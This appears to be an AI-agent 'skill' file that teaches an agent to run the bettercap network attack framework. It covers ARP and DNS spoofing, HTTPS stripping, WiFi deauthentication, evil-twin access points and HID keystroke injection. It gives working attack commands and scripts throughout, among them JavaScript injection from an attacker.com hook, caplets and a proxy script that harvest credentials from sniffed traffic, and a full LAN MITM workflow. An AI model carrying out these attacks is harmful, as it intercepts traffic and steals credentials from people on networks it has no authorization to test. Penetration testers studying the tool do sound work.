Bettercap

bettercap Agent Skill

When to Use This Skill

Use this skill when:

• Performing ARP spoofing or DNS spoofing on a local network segment
• Intercepting and modifying HTTP/HTTPS traffic (MITM)
• Capturing WiFi WPA2 handshakes or running deauthentication attacks
• Enumerating Bluetooth Low Energy devices
• Running HID (keyboard/mouse) injection attacks
• The user asks about bettercap, network sniffing, or credential harvesting
• Automating network attacks via caplet scripts
• Accessing the REST API or web UI for headless operation

What Bettercap Does

Bettercap is a full-featured network attack framework that combines ARP/DNS spoofing, HTTP/HTTPS proxying, packet sniffing, WiFi 802.11 frame injection, BLE scanning, and HID attacks into a single interactive tool with a DSL-based scripting system (caplets). It replaces and extends Ettercap with a modular Go architecture, REST API, and real-time web UI. It is the go-to tool for LAN-based MITM attacks, WiFi assessments, and IoT/BLE recon.

Installation

Debian / Kali / Ubuntu

# Official install script (recommended — handles libpcap, libnetfilter dependencies)
sudo apt install bettercap        # Kali repos
# or
sudo apt install libpcap-dev libnetfilter-queue-dev
go install github.com/bettercap/bettercap@latest

# Pre-built binary
VERSION=2.32.0
curl -sSL https://github.com/bettercap/bettercap/releases/download/v${VERSION}/bettercap_linux_amd64_v${VERSION}.zip \
  -o bettercap.zip && unzip bettercap.zip && sudo mv bettercap /usr/local/bin/

macOS

brew install bettercap

Docker

docker pull bettercap/bettercap
docker run --privileged --net=host -it bettercap/bettercap -iface eth0
# --privileged and --net=host required for raw socket / pcap access

Build from source

sudo apt install libpcap-dev libnetfilter-queue-dev libusb-1.0-0-dev
git clone https://github.com/bettercap/bettercap && cd bettercap
go build -o bettercap . && sudo mv bettercap /usr/local/bin/

# Install caplets (scripting library)
sudo bettercap -eval "caplets.update; quit"

Core Concepts

Architecture

• Modules: independent components (net.probe, arp.spoof, http.proxy, etc.)
• Session: global state — interface, gateway, targets
• Caplets: .cap script files — sequences of bettercap commands
• Events: real-time event bus; modules emit events consumed by other modules
• REST API: JSON API for remote control and headless operation

Starting bettercap

# Interactive REPL (most common during engagements)
sudo bettercap -iface eth0

# Run a caplet directly
sudo bettercap -iface eth0 -caplet http-ui

# Evaluate commands from string
sudo bettercap -iface eth0 -eval "net.probe on; net.sniff on"

# Quiet mode (suppress banner)
sudo bettercap -iface eth0 -no-colors -eval "..."

# List available modules
bettercap -list-modules

Module Reference

net.probe — host discovery

net.probe on                  # Start active host discovery (ARP + mDNS + NBT)
net.probe off
set net.probe.mdns true       # Enable mDNS probing
set net.probe.nbns true       # Enable NetBIOS name service probing
set net.probe.upnp true       # Enable UPnP probing
set net.probe.wsd  true       # Enable WSD probing

net.sniff — packet capture

net.sniff on
net.sniff off
set net.sniff.verbose true           # Print full packet details
set net.sniff.local true             # Capture local traffic too
set net.sniff.filter "tcp port 80"   # BPF filter
set net.sniff.output /tmp/cap.pcap   # Save to pcap file
set net.sniff.regexp "password"      # Regex filter on content

arp.spoof — ARP poisoning (MITM gateway)

set arp.spoof.targets 192.168.1.50        # Target a single host
set arp.spoof.targets 192.168.1.0/24      # Entire subnet
set arp.spoof.fullduplex true             # Spoof both directions (target + gateway)
set arp.spoof.internal true               # Spoof between hosts (not just to gateway)
arp.spoof on
arp.spoof off

dns.spoof — DNS response poisoning

set dns.spoof.domains example.com,*.evil.com
set dns.spoof.address 192.168.1.100    # Where to redirect queries
set dns.spoof.all true                 # Spoof ALL DNS queries (not just matching domains)
dns.spoof on
dns.spoof off

http.proxy — HTTP interception and injection

set http.proxy.port 8080
set http.proxy.address 0.0.0.0
http.proxy on
http.proxy off

# JavaScript injection (inject a  tag into every HTML page)
set http.proxy.injectjs "alert('pwned')"
set http.proxy.injectjs https://attacker.com/hook.js

# Custom JS module (caplet or inline)
set http.proxy.script /path/to/proxy.js

# HTTP module scripting API (proxy.js)
# function onRequest(req) { ... }
# function onResponse(req, res) { ... }

https.proxy — TLS interception (SSL strip + MITM)

set https.proxy.port 8083
set https.proxy.certificate /path/to/cert.pem
set https.proxy.key /path/to/key.pem
https.proxy on
https.proxy off

# Inject JS into HTTPS pages
set https.proxy.injectjs https://attacker.com/hook.js
https.proxy on

http.server — serve files from bettercap

set http.server.path /var/www/html
set http.server.port 8080
http.server on

hstshijack — HTTPS downgrade / HSTS bypass

# Built-in caplet
sudo bettercap -iface eth0 -caplet hstshijack/hstshijack
# Rewrites HTTPS links in HTML to HTTP + handles HSTS exceptions

WiFi Module

sudo bettercap -iface wlan0mon    # Requires monitor mode interface

# Discovery
wifi.recon on
wifi.show                         # List discovered APs and clients

# Target a specific BSSID
set wifi.recon.channel 6          # Lock to channel 6
wifi.recon on

# Deauthentication (802.11 deauth frames → disconnect clients)
wifi.deauth e0:xx:xx:xx:xx:xx     # Deauth specific client MAC
wifi.deauth ff:ff:ff:ff:ff:ff     # Broadcast deauth (deauth all clients from AP)
# Note: must be targeting an AP (BSSID set correctly)

# WPA2 handshake capture
# After deauth, clients reconnect and bettercap captures the 4-way handshake
# Handshake saved to /tmp/ by default
set wifi.handshakes.file /tmp/handshakes.pcap
wifi.recon on

# Evil Twin AP (rogue access point)
set wifi.ap.ssid "CoffeeShop_Free"
set wifi.ap.bssid de:ad:be:ef:ca:fe
set wifi.ap.channel 6
set wifi.ap.encryption false       # Open network
wifi.ap on

# Probe requests monitoring (passive — who is looking for what)
wifi.recon on
# Events: wifi.client.probe — shows device + SSID it's probing for

BLE Module

sudo bettercap -iface eth0   # BLE uses system BT adapter, not network iface

# Enumerate BLE devices
ble.recon on
ble.show                      # List discovered BLE devices with RSSI

# Connect and enumerate GATT services/characteristics
ble.enum AA:BB:CC:DD:EE:FF

# Read a specific GATT characteristic
ble.read AA:BB:CC:DD:EE:FF 0x0025

# Write a GATT characteristic (HID injection via BLE)
ble.write AA:BB:CC:DD:EE:FF 0x0025 DEADBEEF

HID Module (USB rubber ducky style injection)

# Requires compatible HID device (e.g., Arduino/USB dongle supported by bettercap)
hid.recon on
hid.show

# Inject keystrokes (US layout by default)
hid.inject AA:BB:CC:DD:EE:FF US "cmd /c whoami"

# Inject from a DuckyScript-like script
set hid.inject.file /path/to/payload.txt

REST API and Web UI

# Start with REST API enabled
set api.rest.username admin
set api.rest.password admin
set api.rest.port 8083
api.rest on

# Web UI (built-in dashboard at http://localhost:8083)
sudo bettercap -iface eth0 -caplet http-ui

# REST API endpoints
GET  /api/session              # Session info
GET  /api/session/modules      # Module list and status
GET  /api/events               # Event stream (SSE)
POST /api/session              # Execute a command: {"cmd": "arp.spoof on"}

# Example: trigger command via curl
curl -s -u admin:admin \
  -X POST http://localhost:8083/api/session \
  -H "Content-Type: application/json" \
  -d '{"cmd": "net.probe on"}'

# Stream events
curl -s -u admin:admin http://localhost:8083/api/events

Caplets (Scripting)

Caplets are .cap files containing sequences of bettercap commands, comments, and control flow.

Basic caplet: MITM + credential sniff

# mitm-sniff.cap
set $ {bold}{fw}bettercap{reset} > {bold}{iface.name}{reset} : {bold}{net.address}{reset}
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.1.0/24
arp.spoof on
net.sniff on
set net.sniff.verbose false
set net.sniff.regexp "(?i)(user|pass|login|token|auth)"

sudo bettercap -iface eth0 -caplet mitm-sniff.cap

Caplet: HTTP proxy with JS injection

# inject.cap
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.1.50
arp.spoof on
set http.proxy.injectjs https://192.168.1.100/hook.js
http.proxy on

Built-in caplets (installed via caplets.update)

http-ui       — Web dashboard
https-ui      — Web dashboard over HTTPS
hstshijack    — HSTS bypass + SSL strip
arp.spoof     — Quick ARP spoof
net.recon     — Discovery + show
beef-active   — Inject BeEF hook

# List installed caplets
ls $(bettercap -eval "caplets.show; quit" 2>&1 | grep dir | awk '{print $NF}')

# Update caplets library
sudo bettercap -eval "caplets.update; quit"

Man-in-the-Middle Workflow

Full LAN MITM + Credential Capture

# 1. Enable IP forwarding (required — otherwise you black-hole traffic)
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# 2. Start bettercap
sudo bettercap -iface eth0

# 3. In the REPL:
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.1.0/24
arp.spoof on
net.sniff on
set net.sniff.verbose false
http.proxy on
set http.proxy.injectjs https://192.168.1.100/evil.js
events.stream on    # watch events in real time

SSL Stripping

# iptables redirect port 80 → bettercap's proxy
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

set arp.spoof.fullduplex true
arp.spoof on
http.proxy on       # Intercepts plain HTTP
# hstshijack caplet handles HTTPS downgrade
sudo bettercap -caplet hstshijack/hstshijack

Advanced Techniques

Proxy script for credential extraction (JavaScript module)

// creds.js — runs inside bettercap's http.proxy JS engine
function onRequest(req) {
    if (req.Method === "POST") {
        var body = req.ReadBody();
        if (body.match(/(user|pass|email|login)/i)) {
            log("[CRED] " + req.Hostname + " | " + body);
        }
    }
}

set http.proxy.script creds.js
http.proxy on

Headless operation via REST API (from Python)

import requests, base64
creds = base64.b64encode(b"admin:admin").decode()
headers = {"Authorization": f"Basic {creds}", "Content-Type": "application/json"}
base = "http://127.0.0.1:8083"
requests.post(f"{base}/api/session", json={"cmd": "arp.spoof on"}, headers=headers)

Comparison with Ettercap

| Feature | Bettercap | Ettercap | |---|---|---| | Language | Go | C | | Active development | Yes | Minimal | | WiFi attacks | Full (deauth, evil twin) | No | | BLE/HID | Yes | No | | REST API / Web UI | Yes | No | | Caplet scripting | Yes (own DSL) | Etter.filter scripts | | SSL interception | Yes (https.proxy) | Yes (sslstrip plugin) | | Docker support | Yes | Partial | | Plugin architecture | Modules | Plugins | | Performance | High | Moderate |

Troubleshooting

| Problem | Cause | Fix | |---|---|---| | No hosts discovered | Interface wrong / not promiscuous | Verify iface, use net.probe on | | Traffic not flowing after spoof | IP forwarding off | echo 1 > /proc/sys/net/ipv4/ip_forward | | HTTPS fails to intercept | Cert not trusted by browser | Install bettercap CA in OS/browser store | | WiFi module errors | Interface not in monitor mode | airmon-ng start wlan0 first | | REST API connection refused | api.rest not started | Run api.rest on in REPL | | Caplet not found | Caplets not installed | bettercap -eval "caplets.update; quit" | | Segfault / crash | libpcap version mismatch | Rebuild from source matching libpcap version |

# Debug: run with full logging
sudo bettercap -iface eth0 -debug

# Check interface capabilities
sudo bettercap -iface eth0 -eval "net.show; quit"

---

> Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs. > 20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting. > > redhound.us | GitHub | Book a consultation

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: jph4cks
• Source: jph4cks/redhound-arsenal
• License: MIT
• Homepage: https://redhound.us

Install and usage instructions live in the source repository linked above.